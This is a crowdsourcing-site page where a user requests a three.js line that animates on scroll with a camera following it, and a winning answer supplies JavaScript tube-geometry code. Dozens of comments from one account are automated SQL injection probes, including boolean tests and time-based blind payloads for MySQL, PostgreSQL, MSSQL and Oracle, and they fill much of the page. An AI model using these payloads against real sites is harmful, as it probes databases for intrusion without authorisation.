ThreeJS | Animate a line on scroll and make the camera follow it.
New here? Learn about Bountify and follow @bountify to get notified of new bounties! x

I have a Float32Array of points (x,y,z) coordinates of where the line should be drawn.

In a threejs scene, I need you draw a line using those points, and then animate it on scroll from start position to end position.

The camera should also follow along the line as it animates.

To clarity, it doesn't have to be a line object, it's okay if it's geometry. Bonus points if I can configure a shape (eg not just a "tube", but a flat plane (like a road) etc.
I think the spline example from three.js documentation is a good place to start?

For context, I'm trying to recreate this in 3D: https://tympanus.net/Development/StorytellingMap/

This is what I already have: https://imgur.com/a/G56nd69

Important is that everything is well-commented, so I can implement into my own project.

Bonus points if you help me implement it within my own codebase at https://github.com/elfensky/storymap

uf1tublS
gbtagbbj 4 months ago
-1 OR 2+156-156-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 3+156-156-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 2+484-484-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+484-484-1=0+0+0+1
gbtagbbj 4 months ago
-1' OR 2+768-768-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 3+768-768-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 2+642-642-1=0+0+0+1 or 'hbiGbCOE'='
gbtagbbj 4 months ago
-1' OR 3+642-642-1=0+0+0+1 or 'hbiGbCOE'='
gbtagbbj 4 months ago
-1" OR 2+449-449-1=0+0+0+1 --
gbtagbbj 4 months ago
-1" OR 3+449-449-1=0+0+0+1 --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
nY7b0sdi'
gbtagbbj 4 months ago
-5 OR 166=(SELECT 166 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 551=(SELECT 551 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 18=(SELECT 18 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
QQRljh6V' OR 580=(SELECT 580 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
8W0b4wNA') OR 773=(SELECT 773 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
wjgbEqBo')) OR 385=(SELECT 385 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
-1 OR 2+661-661-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 3+661-661-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 2+326-326-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+326-326-1=0+0+0+1
gbtagbbj 4 months ago
-1' OR 2+928-928-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 3+928-928-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 2+298-298-1=0+0+0+1 or 'a1Y03nLb'='
gbtagbbj 4 months ago
-1' OR 3+298-298-1=0+0+0+1 or 'a1Y03nLb'='
gbtagbbj 4 months ago
-1" OR 2+947-947-1=0+0+0+1 --
gbtagbbj 4 months ago
-1" OR 3+947-947-1=0+0+0+1 --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
sWRPsdKy'
gbtagbbj 4 months ago
-5 OR 744=(SELECT 744 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 969=(SELECT 969 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 809=(SELECT 809 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
80EvbWPD' OR 932=(SELECT 932 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
hfQalNfC') OR 45=(SELECT 45 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
PSEs4SzP')) OR 54=(SELECT 54 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
awarded to jamesless1010

Crowdsource coding tasks.

1 Solution

Winning solution

This is using an older version of your project so I can't do a pull request right now, but it works and the line is a geometric tube so you can change the thickness.

import { GLOBAL as $ } from './globals'
import * as THREE from 'three'
import * as GEOLIB from 'geolib'
import { Vector3 } from 'three'
import { Vector2 } from 'three'
let clock = new THREE.Clock()

//on scroll event listener. well, it's not scroll but just mousewheel, you get the idea though.
//can replace it with 'scroll'
document.addEventListener('mousewheel', (event) => {
    $.drawRange += event.deltaY / 1000
    if ($.drawRange < 2) $.drawRange = 2
})

//
async function animatePath() {
    $.data = await loadPath()
    $.lineArray = new Float32Array(($.data.length + 1) * 3)

    let drawRange = 0

    $.data.forEach((element, index) => {
        $.lineArray[index * 3 + 0] = element[0]
        $.lineArray[index * 3 + 1] = element[1]
        $.lineArray[index * 3 + 2] = element[2]
        drawRange += 1
    })

    $.camera.up = new THREE.Vector3(0, 1, 0)
    drawPath()
}

async function loadPath() {
    return await fetch($.config.path).then((response) => {
        return response.json().then((data) => {
            return data
        })
    })
}

// this is exported and imported in the initiate.js and put inside the render function.
//basically, recreates the tubegeometry and updates it based on the event listener on top of this class
function updatePath() {
    drawPath()
}

//this (re)drawns the tube. Instead of just using a WebGL line I used a Tube, so you can change the thickness.
function drawPath() {
    if ($.line) {
        $.scene.remove($.line)
    }
    if ($.lineArray.length == 0) return
    if ($.drawRange <= 0) return
    let drawRange = Math.floor($.drawRange) * 3

    let diff = $.drawRange - Math.floor($.drawRange)
    let copyLineArray = []

    if (diff > 0 && drawRange >= 3 && drawRange <= $.lineArray.length - 3) {
        let x1 = $.lineArray[drawRange - 3]
        let y1 = $.lineArray[drawRange - 2]
        let z1 = $.lineArray[drawRange - 1]
        let x2 = $.lineArray[drawRange]
        let y2 = $.lineArray[drawRange + 1]
        let z2 = $.lineArray[drawRange + 2]

        let dis = new Vector3((x2 - x1) * diff + x1, (y2 - y1) * diff + y1, (z2 - z1) * diff + z1)
        copyLineArray = new Float32Array(drawRange + 3)
        for (var i = 0; i < drawRange; i++) copyLineArray[i] = $.lineArray[i]
        copyLineArray[i] = dis.x
        copyLineArray[i + 1] = dis.y
        copyLineArray[i + 2] = dis.z
    } else {
        copyLineArray = $.lineArray.filter((a, i) => i < drawRange)
    }

    if (drawRange >= 3) {
        let xLenth = copyLineArray.length
        $.camera.lookAt(
            copyLineArray[xLenth - 3],
            copyLineArray[xLenth - 2],
            copyLineArray[xLenth - 1],
        )
        $.camera.position.set(
            copyLineArray[xLenth - 3] + 2,
            copyLineArray[xLenth - 2] + 2,
            copyLineArray[xLenth - 1],
        )
    }

    let vecs = []
    for (var i = 0; i < copyLineArray.length; i += 3)
        vecs.push(new Vector3(copyLineArray[i], copyLineArray[i + 1], copyLineArray[i + 2]))

    const path = new THREE.CatmullRomCurve3(vecs)

    var geometry = new THREE.TubeGeometry(path, 100, 0.01, 100, false)
... (12 lines left)
Collapse
ANSWER.md
4 KB
This is using an older version of your project so I can't do a pull request right now, but it works and the line is a geometric tube so you can change the thickness.

```js
import { GLOBAL as $ } from './globals'
import * as THREE from 'three'
import * as GEOLIB from 'geolib'
import { Vector3 } from 'three'
import { Vector2 } from 'three'
let clock = new THREE.Clock()

//on scroll event listener. well, it's not scroll but just mousewheel, you get the idea though.
//can replace it with 'scroll'
document.addEventListener('mousewheel', (event) => {
    $.drawRange += event.deltaY / 1000
    if ($.drawRange < 2) $.drawRange = 2
})

//
async function animatePath() {
    $.data = await loadPath()
    $.lineArray = new Float32Array(($.data.length + 1) * 3)

    let drawRange = 0

    $.data.forEach((element, index) => {
        $.lineArray[index * 3 + 0] = element[0]
        $.lineArray[index * 3 + 1] = element[1]
        $.lineArray[index * 3 + 2] = element[2]
        drawRange += 1
    })

    $.camera.up = new THREE.Vector3(0, 1, 0)
    drawPath()
}

async function loadPath() {
    return await fetch($.config.path).then((response) => {
        return response.json().then((data) => {
            return data
        })
    })
}

// this is exported and imported in the initiate.js and put inside the render function.
//basically, recreates the tubegeometry and updates it based on the event listener on top of this class
function updatePath() {
    drawPath()
}

//this (re)drawns the tube. Instead of just using a WebGL line I used a Tube, so you can change the thickness.
function drawPath() {
    if ($.line) {
        $.scene.remove($.line)
    }
    if ($.lineArray.length == 0) return
    if ($.drawRange <= 0) return
    let drawRange = Math.floor($.drawRange) * 3

    let diff = $.drawRange - Math.floor($.drawRange)
    let copyLineArray = []

    if (diff > 0 && drawRange >= 3 && drawRange <= $.lineArray.length - 3) {
        let x1 = $.lineArray[drawRange - 3]
        let y1 = $.lineArray[drawRange - 2]
        let z1 = $.lineArray[drawRange - 1]
        let x2 = $.lineArray[drawRange]
        let y2 = $.lineArray[drawRange + 1]
        let z2 = $.lineArray[drawRange + 2]

        let dis = new Vector3((x2 - x1) * diff + x1, (y2 - y1) * diff + y1, (z2 - z1) * diff + z1)
        copyLineArray = new Float32Array(drawRange + 3)
        for (var i = 0; i < drawRange; i++) copyLineArray[i] = $.lineArray[i]
        copyLineArray[i] = dis.x
        copyLineArray[i + 1] = dis.y
        copyLineArray[i + 2] = dis.z
    } else {
        copyLineArray = $.lineArray.filter((a, i) => i < drawRange)
    }

    if (drawRange >= 3) {
        let xLenth = copyLineArray.length
        $.camera.lookAt(
            copyLineArray[xLenth - 3],
            copyLineArray[xLenth - 2],
            copyLineArray[xLenth - 1],
        )
        $.camera.position.set(
            copyLineArray[xLenth - 3] + 2,
            copyLineArray[xLenth - 2] + 2,
            copyLineArray[xLenth - 1],
        )
    }

    let vecs = []
    for (var i = 0; i < copyLineArray.length; i += 3)
        vecs.push(new Vector3(copyLineArray[i], copyLineArray[i + 1], copyLineArray[i + 2]))

    const path = new THREE.CatmullRomCurve3(vecs)

    var geometry = new THREE.TubeGeometry(path, 100, 0.01, 100, false)

    let material = new THREE.MeshNormalMaterial({
        flatShading: true,
    })

    $.line = new THREE.Mesh(geometry, material)
    $.scene.add($.line)
}

export { animatePath, updatePath }
Can you send me a zip with the full project so I can easily test it?
elfensky 8 months ago
Sure, here you go: https://we.tl/t-fBt7ngxuUB
jamesless1010 8 months ago
-1 OR 2+224-224-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 3+224-224-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 2+13-13-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+13-13-1=0+0+0+1
gbtagbbj 4 months ago
-1' OR 2+200-200-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 3+200-200-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 2+117-117-1=0+0+0+1 or 'MLXSNXJM'='
gbtagbbj 4 months ago
-1' OR 3+117-117-1=0+0+0+1 or 'MLXSNXJM'='
gbtagbbj 4 months ago
-1" OR 2+691-691-1=0+0+0+1 --
gbtagbbj 4 months ago
-1" OR 3+691-691-1=0+0+0+1 --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
Y22oDazy'
gbtagbbj 4 months ago
iAapNk7l' OR 548=(SELECT 548 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
pCUHktrw') OR 507=(SELECT 507 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
xM6hEfR3')) OR 611=(SELECT 611 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
e'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
98NaTvyk
gbtagbbj 4 months ago
-1 OR 2+335-335-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+335-335-1=0+0+0+1
gbtagbbj 4 months ago
555 RLIKE (SELECT (CASE WHEN (863=863) THEN 1 ELSE 0x28 END)) --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
vDyWxOYy'
gbtagbbj 4 months ago
-5 OR 290=(SELECT 290 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 723=(SELECT 723 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 802=(SELECT 802 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
NTENsrZi' OR 632=(SELECT 632 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
r67ppnKg') OR 803=(SELECT 803 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
lUzOKHGj')) OR 390=(SELECT 390 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
-1 OR 2+154-154-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 3+154-154-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 2+96-96-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+96-96-1=0+0+0+1
gbtagbbj 4 months ago
-1' OR 2+105-105-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 3+105-105-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 2+427-427-1=0+0+0+1 or 'J78Tz2Yn'='
gbtagbbj 4 months ago
-1' OR 3+427-427-1=0+0+0+1 or 'J78Tz2Yn'='
gbtagbbj 4 months ago
-1" OR 2+936-936-1=0+0+0+1 --
gbtagbbj 4 months ago
-1" OR 3+936-936-1=0+0+0+1 --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
EPXhu7zS'
gbtagbbj 4 months ago
-5 OR 442=(SELECT 442 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 90=(SELECT 90 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 354=(SELECT 354 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
LGi4YzvZ' OR 933=(SELECT 933 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
oblxUg8E') OR 381=(SELECT 381 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
W7yrGPk1')) OR 396=(SELECT 396 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago